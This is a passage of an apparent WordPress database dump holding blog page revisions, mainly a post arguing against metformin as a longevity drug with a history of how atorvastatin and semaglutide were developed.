-->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-12-12 19:35:05','2021-12-12 19:35:05','',22,'https://trevorklee.com/?p=250',0,'revision','',0),
(252,1,'2021-12-16 17:02:58','2021-12-16 17:02:58','<!-- wp:paragraph -->\n<p>If you\'re interested in learning more about me, I\'d recommend starting with <a href=\"https://trevorklee.com/sample-page/\" data-type=\"page\" data-id=\"2\"><span style=\"color:#0a4fc7\" class=\"has-inline-color\">my current projects</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, you can also look at <a href=\"https://trevorklee.com/failed-hypotheses/\" data-type=\"page\" data-id=\"12\"><span style=\"color:#0b28c8\" class=\"has-inline-color\">my failed projects</span></a>, because what are successes without failures?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, I\'ve written a lot. A lot a lot. If you\'re interested in philosophy, learning, biology, or general science, you should read <a href=\"https://trevorklee.com/essays/\" data-type=\"page\" data-id=\"22\"><span style=\"color:#0c2ad7\" class=\"has-inline-color\">my essays</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to contact me, just email [my first name] @ highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re interested in what I look like, I\'ve put a photo of me below. Get ready for it!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":38,\"width\":262,\"height\":660,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/03/Trevor-Klee-a-full-time-tutor-407x1024.jpg\" alt=\"\" class=\"wp-image-38\" width=\"262\" height=\"660\"/><figcaption>Wow, what a photo!</figcaption></figure></div>\n<!-- /wp:image -->\n\n<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>','Welcome to my page!','','inherit','closed','closed','','27-revision-v1','','','2021-12-16 17:02:58','2021-12-16 17:02:58','',27,'https://trevorklee.com/?p=252',0,'revision','',0),
(253,1,'2021-12-29 16:30:57','2021-12-29 16:30:57','<!-- wp:paragraph -->\n<p>Metformin is many longevity researchers favorite longevity drug. Harvard professor David Sinclair wrote an entire chapter in his book on longevity about metformin, titled “This cheap pill might help you live a longer, healthier life”. So, it’s probably worth exploring. Let’s get into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a healthy person, should you be taking metformin for longevity?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No, probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is this because metformin just needs to be developed more, and, in 30 years, we’ll all be taking metformin for longevity?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also no.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, that’s it for today’s blog post. Tune in next week for more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://wxpress.wuxiapptec.com/app/uploads/2018/02/WuXi_davidsinclair_WXPRESS.png\" alt=\"Harvard&#39;s David Sinclair Treats Aging as a Disease and Plans to Launch a  Clinical Trial to Prove It - WuXi XPress: for WuXi news and R&amp;D insights\"/><figcaption>Pictured: an immortal man. Would you believe he\'s only 25 in this photo?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Of course, if you’d like a bit more information, I can explain my reasoning.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult to evaluate metformin based on mechanisms because nobody really knows how it works. We know its results: it decreases glucose production by the liver, increases the insulin sensitivity of body tissues, and reduces appetite. However, we don’t know how it accomplishes any of these results, which means that it’s difficult to say whether it\'s effective for anything beyond the obvious (i.e. reducing glucose, increasing insulin sensitivity, and reducing appetite).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two ways to look at a drug that has unclear mechanisms like metformin. The first way is to assume that it doesn’t have any effects beyond what’s obvious. The second way is to assume that there are untold mysteries within the mechanisms of that drug, and exhaustively check the side effects and case reports of patients who took the drug to find any possible other beneficial effects of the drug. Substantiated beneficial effects raise the possibility of repurposing the drug for this alternative beneficial effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The former path is safer scientifically; the latter path is more fun and carries the possibility of profit. As a huge proponent of drug repurposing myself (it’s what I’ve based <a href=\"http://highwaypharm.com\">my company</a> on), I too would like to have fun and profit. Also, if nobody ever pursued drugs with unclear mechanisms, we’d only have about half of the drugs that help us in our daily lives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I’m too much of a worrier to go blindly off in the pursuit of a good time without some ground rules. The repurposing field is littered with the corpses of research papers of poor scientists who ventured off without ground rules, and got stuck arguing for years that <a href=\"https://en.wikipedia.org/wiki/Curcumin#Research\">curcumin (the main compound in turmeric) is a cure-all</a>, only to find out that <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5430405/\">curcumin is just a molecule that interferes a lot with assays</a>.  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://m.media-amazon.com/images/I/81Gvb-ayugL._SX569_.jpg\" alt=\"Amazon.com : Chef Piñeiro&#39;s All Seasoning With Turmeric From Puerto Rico,  Sazonador Con Curcuma, 10.5 Ounce (Pack of 3) : Grocery &amp; Gourmet Food\"/><figcaption>Yet another immortal walking in our midst. In this photo, Chef Pineiro is making the universal symbol for \"No man may slay me\".</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, here are my ground rules for being safe while looking for possible repurposing of drugs like metformin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Any proposed repurposed indication needs to be supported by at least a vaguely plausible mechanism AND a human case study OR a retrospective study in humans</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. If a meta-analysis suggests your repurposed indication is wrong, you better have a really, really good reason as to why the meta-analysis is looking at the wrong thing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. If you want to support your mechanism with animal studies, you better have spent a ton of effort making sure that the animal studies can translate to humans</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason why I have these rules is to prioritize the highest quality evidence, absent the sort of randomized controlled trial that’s the real gold standard of drug discovery. So, the highest quality evidence is actual, visible, incontrovertible evidence in humans, supported by theory. If the theory gets overturned, that’s a bad sign but not necessarily a dealbreaker. If the evidence in humans gets overturned, that’s generally a really bad sign.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, metformin as a longevity drug fails all these rules. Let me use <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8374068/\">this review paper</a> as a guide.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, if we take a look at the proposed mechanism of metformin as a longevity drug, we get a lot of suggestive stuff about metformin impacting “insulin growth factor 1” and “AMP-activated kinase”, leading to extended lifespan. Unfortunately, all of these impacts happen in C. elegans (a.k.a. roundworms). I would have to see a lot of evidence to extend a result from roundworms to humans, but metformin proponents expect me to just take it at face value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, the retrospective studies that try to link metformin to longevity are, generally speaking, not great. The authors try to link the mild weight loss associated with metformin to caloric restriction, then try to argue the long lifespan of Okinawans is due to caloric restriction. Not only is that explanation of the long lifespan of Okinawans arguable, but literally any weight loss drug could be linked to longevity in that way (like, for example, meth).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":395,\"height\":395} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://www.pinkvilla.com/imageresize/Aaron%20Paul%20to%20reprise%20his%20role%20of%20Jesse%20Pinkman%20in%20the%20sequel%20of%20the%20show%20Breaking%20Bad%20%281%29.jpg?width=752&amp;format=webp&amp;t=pvorg\" alt=\"Breaking Bad Movie: Aaron Paul to reprise his role of Jesse Pinkman in the  sequel on the big screen | PINKVILLA\" width=\"395\" height=\"395\"/><figcaption>This man is actually 85. Thanks, meth!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Finally, and most damningly, the meta-analysis really doesn’t support the indication. The <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3323508/\">largest meta-analysis of patients with type 2 diabetes on metformin</a> showed basically zero effect of metformin on mortality, cardiovascular disease, or cardiovascular conditions. Given that type 2 diabetics should be the patients who’d benefit most from metformin, this is especially bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, overall, my cautious self would not be overall too eager to follow metformin down the longevity path. If I were cynical, I might write a book or make a podcast advocating it to other people (ahem), but I would not stake my own money on metformin as a longevity drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I assume if I showed this evidence to metformin advocates, however, they would not agree that this is an indication that metformin is not a longevity-promoting drug. They might argue that metformin’s impacts on longevity are real, but only exist in the super high doses that we can give mice but not humans. They’d continue to say that metformin’s true capabilities have yet to be unlocked because it’s not fully developed for longevity. Give metformin 30 years of development, they’d say. It’ll get developed into super-metformin just in time for you to avoid needing Medicare.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can probably guess, I don’t agree with this. Even if I think there are some latent abilities of metformin to promote longevity (which I doubt), I don’t think it’s likely that we’ll have super-metformin in 30 years, even with the multimillion dollar startups that are no doubt working on it right now. This is because metformin, in its current state, does not fit well onto the pharma development pathway, and no amount of money will change that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to explain this, let me explain how pharma development normally works. Not only will this be informative in terms of what the development of metformin should be (but isn’t), but it’ll also be an interesting exploration of one of the few high-tech fields that actively shares their work with the public.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of talking in the abstract, however, I’ll be using the examples of Lipitor (atorvastatin), the best selling drug of all time, and the recent, super exciting weight loss drug Wegovy (semaglutide). I’ll talk about how they were developed, and then loop back to how metformin can’t be developed in the same way, no matter how many years or dollars we give it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://pbs.twimg.com/media/EIwx0A4U0AAvCFg.png\" alt=\"Maryanne Demasi, PhD on Twitter: &quot;Lipitor - the most profitable drug in the  history of medicine - still generates ~$1.5 billion/yr for Pfizer, even  though its patent expired 8yrs ago. Worldwide sales\"/><figcaption>Lipitor made, and makes, ungodly amounts of money. For comparison, the entire company of McDonald\'s makes $21 billion/year.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Let’s first start with Lipitor. Fortunately for us, there’s an excellent paper written by Bruce Roth, who was largely responsible for the invention of Lipitor, on <a href=\"https://www.sciencedirect.com/science/article/pii/S0079646808700808\">how he did it</a>. So, I’ll rely on that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The invention of Lipitor started with a highly specific understanding of a specific pathway in the body: the cholesterol biosynthesis pathway. From the very beginning of the invention of Lipitor, scientists were aware of the exact pathway, the steps involved in the pathway, and which specific step in the pathway needed to be inhibited in order to safely lower cholesterol in animals or humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Starting off with this knowledge had a number of advantages.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, it allowed them to be able to quickly identify small molecules that did what they needed to do, including the random fungal extract that happened to inhibit exactly the right step in the cholesterol biosynthesis pathway. All subsequent inhibitors were based on that fungal extract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, it gave them confidence on what exact <em>in vitro</em> and animal models they could test any inhibitors on. They tested all variations on that fungal inhibitor on rat, dog, monkey, and human liver while it was being developed. Then, once they picked an ideal inhibitor, they also tested it in live rabbits, dogs, and guinea pigs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Third, it let the scientists know exactly what to optimize for. They needed an inhibitor that was non-toxic and was as effective as possible on inhibiting that specific pathway. These were the two parameters they optimized for.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With these three advantages, the invention of atorvastatin was a chemistry problem, rather than a biology problem. If you read the account of the inventor, the chemistry was very clever (if you’d like a rundown on this clever chemistry, follow the footnote [1]), but, still, the exact knowledge of the pathway involved made this process solvable with enough work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The story of the invention of semaglutide follows the same basic outlines, even though semaglutide is a more complex drug that relied on more complex discovery processes. Once again, I’ll be relying on an <a href=\"https://www.frontiersin.org/articles/10.3389/fendo.2019.00155/full\">account of the invention by the inventors themselves</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Semaglutide, unlike atorvastatin, is a peptide hormone, or a short chain of amino acids that is distributed throughout the body. Atorvastatin is just classified as a statin, which is a type of small molecule. Peptides are not only trickier to modify chemically, they’re trickier to even see if you have modified them chemically, as x-ray crystallography doesn’t work with them. To get an idea of why this might be, I’ve put pictures of the chemical structures of atorvastatin and semaglutide below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/r2nwHRwQGd76pgycf2dowMUpOIbjXufKX4ZRnBKhVDiCeKC7HKbRAYOSVoYu2EPU4xBqvJgKuaQfeV-iB7IteMtG4u3vqT-7YXg3vfnErwGjoJ_qKqEnhaSiZ5JKkxJO5xQCHGRQ\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/NFSbYFyiv6h3h9RjD_S7w8oZtm-RInYldQMMk37KTAEDEcdsaPMXvvfwI_Yp3DP31aiaPGrIgCZzeY3kUvYIzILQkRWMk27hkLqCpZazNnyt6ni4CIIAxChaJdfE8npP_SVZUSZR\" alt=\"\"/><figcaption>Guess which molecule is harder to make behave?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is why, technically, the development of semaglutide was a much more difficult task than the development of atorvastatin. A number of techniques were used that weren’t available to the atorvastatin team: alanine scanning to be able to determine the structure, attaching fatty acids to facilitate the binding of the peptide to albumin, and cloned human GLP-1 receptors in baby hamster kidney cells to check the binding (for more information on these clever techniques, check out footnote [2]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, what’s important to note is what stayed the same between atorvastatin and semaglutide: a deep knowledge of GLP-1, the GLP-1 receptor, and what exactly the function of GLP-1 is in the body. In the case of GLP-1, it was primarily that GLP-1 triggered insulin secretion, and then later that GLP-1 could result in weight loss. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Once again, as they tested their various synthetic versions of GLP-1 on human GLP-1 receptors, rats, minipigs, and mice, they could check for receptor binding, toxicology, and insulin response. There were missteps along the way, like taspoglutide, which made it all the way to phase III trials before they realized it could cause anaphylactic shock. However, they always knew what their north star was.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not the case for metformin. Metformin not only lacks a target for longevity, it lacks a target for its main indication, too, type 2 diabetes. Without a clear target, there’s no optimizing, which means there’s no way to put metformin on the pharma development treadmill.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m hopeful that fundamental longevity research will start identifying definite pathways and targets for metformin, which would make a huge difference for this drug development process. The only alternative is to rely on some completely different drug development process that allows optimizing for essentially unknown pathways. While AI/machine learning drug development companies promise that this can be done, I will believe it when I see it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] Ok, so here’s the chemistry as he writes it/I understand it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They knew they needed an inhibitor of cholesterol biosynthesis. However, they were gun-shy because the first attempt at an inhibitor of cholesterol biosynthesis was <a href=\"https://en.wikipedia.org/wiki/Triparanol#:~:text=Triparanol%20(%20INN%20%2C%20BAN%20%3B%20brand,the%20United%20States%20in%201960.\">triparanol</a>, which was introduced in 1959 before extensive toxicology was required for new drugs. Unfortunately, what toxicology would have revealed was that triparanol, by inhibiting the last step in cholesterol biosynthesis, causes a build-up in the penultimate product in the pathway, desmosterol. Accumulation of desmosterol is super bad because there’s no biological way to get rid of it, and eventually you get cataracts and other bad side effects. This ended up being discovered 3 years after triparanol was released to the public and caused a bunch of people to go blind.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, instead, the hypothesis was that you could inhibit cholesterol earlier in the pathway. Specifically, if you stop the pathway at the point that HMG-CoA turns into mevalonic acid, you end up with a lot of HMG-CoA instead. This is a lot easier to get rid of because HMG-CoA is also part of the <a href=\"https://en.wikipedia.org/wiki/Ketogenesis\">ketogenesis</a> pathway, so the body has ways of getting rid of it already.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Everyone was looking for an inhibitor of the specific enzyme that turns HMG-CoA into mevalonic acid, HMGR. A scientist in Japan, <a href=\"https://en.wikipedia.org/wiki/Akira_Endo_(biochemist)\">Akira Endo</a>, hypothesized that fungi used chemicals to ward off parasitic organisms by inhibiting cholesterol synthesis, based on the fact that fungi use ergosterol instead of cholesterol (so they could inhibit cholesterol synthesis without hurting themselves). Then he studied 6000 compounds isolated from fungi and found 3 that worked, which is one way of doing it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most potent chemical that Endo found was called compactin. After he published his findings, everyone else also started looking at fungal metabolites, and soon enough Merck and Sankyo isolated their own fungal metabolites to inhibit cholesterol biosynthesis. Merck also found something interesting: that “ortho-biphenyl containing 3,5-dihydroxy-6-heptenoic acids and their lactones … were equipotent to the fungal metabolites at inhibiting HMGR in vitro.”&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Merck publicized this finding in a patent, and probably expected this to be a neat finding and a good way to shore up their own fungal metabolite’s intellectual property (by preventing anyone else from chemically synthesizing something similar). However, Bruce Roth and his team read this, and realized that Merck had just given away the key: this specific part of the fungal metabolite was the only important part to inhibit cholesterol biosynthesis. Everything else was useless.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Or, in Bruce’s own words: “the key requirements for potent inhibition of HMGR were a mevalonolactone/3,5-dihydroxy-heptanoic or -6-heptenoic acid moiety and a large lipophilic group held in the correct spatial relationship by a spacer or template group…virtually any ring system which fulfilled this requirement would lead to a series of potent inhibitors.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was the starting point. Then they actually had to figure out the easiest way to construct this ring system. They eventually settled on the 1H-pyrrole system, which they were very familiar with and comfortable with working in. They constructed 30 different versions of this ring to try to figure out the correct spatial relationship. Unfortunately, once they did so and found the best possible version of the ring, they realized that it still wasn’t good enough. It was only 1/10th as good as the fungal metabolite. They (and Merck) must have been missing something else. But what?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They decided to go the simple way about it and just overlay their chemical diagram on top of Merck’s and see what was missing, as seen below. When they did so, they realized they were missing Merck’s methyl group. So, they tried putting in a methyl group, and voila! It was a successful inhibitor!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/YaOqTfKtZCSUeM3Idk-8fIFjvjiKerH4iSBMaD45PRVNthK-DjpiLrQgAnLLmzTtKO9rNASt4wZfdwTcB9R3ik5VQtayy3X5Xo2ohJhecCrz8z1FgZTQgUTREGhpDRThXi6Lpo29\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Of course, in biochemistry, nothing’s ever so easy. As it turned out, this new compound was more effective at inhibition, but it was also way more toxic than the old compound. Instead of giving up on this tact, however, they decided to once again create a bunch of variations on this compound in order to find one that was less toxic. In this case, they thought that the toxicity came from the bromines that had been introduced with the methyl group, so they created 20 different versions with substitutions for the bromines and tested them all in rabbits and dogs. Eventually, they found one: atorvastatin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They then faced a critical decision: whether to develop the compound as a racemate (a mixture of bioactive and non-bioactive versions of a drug) or the stereoisomer (the pure version). A racemate would be cheaper and easier to develop and manufacture, but the purified stereoisomer would place less stress on the body and require less drug to be effective.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Atorvastatin was already likely to be coming onto the market 10 years after the fungal metabolites by the time they made this decision. One way to look at that fact was, “We need to get this out of the door ASAP before we spend any more money on it.” Bruce took the other point of view, “We need something that’s incredibly good in order to displace the fungal metabolites”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, they decided to go the expensive route, and developed the compound as a stereoisomer. Then they tested it in healthy volunteers, and found that it lowered cholesterol more effectively than any other drug on the market. The rest was history.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] This stuff is more advanced than the atorvastatin stuff, so I am largely out of my depth. That’s never stopped me before, though, so I’m going to do my best.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The central problem with using biologic GLP-1 as a therapy, as mentioned, was that it had a short half-life. So all efforts were focused on creating a version of GLP-1 that had a long half-life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The old methods of creating a drug with a long half-life don’t work for a giant peptide like GLP-1. It’s way too big. So, a new way of creating a drug with a long half-life is to bind it to albumin, which is an all-purpose carrier protein in the body. Makes sense, right? Just use the body’s method of carrying proteins and preventing them from breaking down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to get albumin to carry a peptide, though, you need a peptide-based ligand, or something to chemically attach the protein to the albumin. Before any of the stuff with semaglutide, a lot of work had been done to try to find these ligands. The original team built off this work to find ligands that could reversibly bind to albumin (i.e. GLP-1 could be attached to albumin for transport, and then unattached for use).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to see what they could attach to GLP-1 without messing up its function, they employed an alanine scan. In an alanine scan, each amino acid in a peptide is subsequently replaced by alanine to see which amino acid actually does. It’s sort of like figuring out how a radio works by taking one piece out at a time then seeing how the radio functions without it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From there, they found the parts of GLP-1 that were necessary for its function and shouldn’t be messed with, and then the parts that weren’t necessary and could have ligands attached to it. Then, they again used the technique of creating a bunch of versions of GLP-1 with ligands attached to it to see which had both a good attachment to albumin and were still functional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From this exploration, they created liraglutide, the first effective GLP-1 agonist. Novo Nordisk took this work and improved on it by noticing that compounds that bound really well to albumin bound less well to GLP-1 receptors, probably because there was competition between them. They did stuff I don’t entirely understand with fatty acids to split the difference and come up with semaglutide, which they then tested on diabetic mice. It worked well on mice and had a long half-life, so they knew they had a hit product.</p>\n<!-- /wp:paragraph -->','Should you take metformin for longevity?','','publish','closed','closed','','should-you-take-metformin-for-longevity','','','2021-12-29 16:30:57','2021-12-29 16:30:57','',0,'https://trevorklee.com/?page_id=253',0,'page','',0),
(254,1,'2021-12-29 16:30:57','2021-12-29 16:30:57','<!-- wp:paragraph -->\n<p>Metformin is many longevity researchers favorite longevity drug. Harvard professor David Sinclair wrote an entire chapter in his book on longevity about metformin, titled “This cheap pill might help you live a longer, healthier life”. So, it’s probably worth exploring. Let’s get into it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a healthy person, should you be taking metformin for longevity?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No, probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Is this because metformin just needs to be developed more, and, in 30 years, we’ll all be taking metformin for longevity?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Also no.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, that’s it for today’s blog post. Tune in next week for more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://wxpress.wuxiapptec.com/app/uploads/2018/02/WuXi_davidsinclair_WXPRESS.png\" alt=\"Harvard&#39;s David Sinclair Treats Aging as a Disease and Plans to Launch a  Clinical Trial to Prove It - WuXi XPress: for WuXi news and R&amp;D insights\"/><figcaption>Pictured: an immortal man. Would you believe he\'s only 25 in this photo?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Of course, if you’d like a bit more information, I can explain my reasoning.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult to evaluate metformin based on mechanisms because nobody really knows how it works. We know its results: it decreases glucose production by the liver, increases the insulin sensitivity of body tissues, and reduces appetite. However, we don’t know how it accomplishes any of these results, which means that it’s difficult to say whether it\'s effective for anything beyond the obvious (i.e. reducing glucose, increasing insulin sensitivity, and reducing appetite).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two ways to look at a drug that has unclear mechanisms like metformin. The first way is to assume that it doesn’t have any effects beyond what’s obvious. The second way is to assume that there are untold mysteries within the mechanisms of that drug, and exhaustively check the side effects and case reports of patients who took the drug to find any possible other beneficial effects of the drug. Substantiated beneficial effects raise the possibility of repurposing the drug for this alternative beneficial effect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The former path is safer scientifically; the latter path is more fun and carries the possibility of profit. As a huge proponent of drug repurposing myself (it’s what I’ve based <a href=\"http://highwaypharm.com\">my company</a> on), I too would like to have fun and profit. Also, if nobody ever pursued drugs with unclear mechanisms, we’d only have about half of the drugs that help us in our daily lives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph 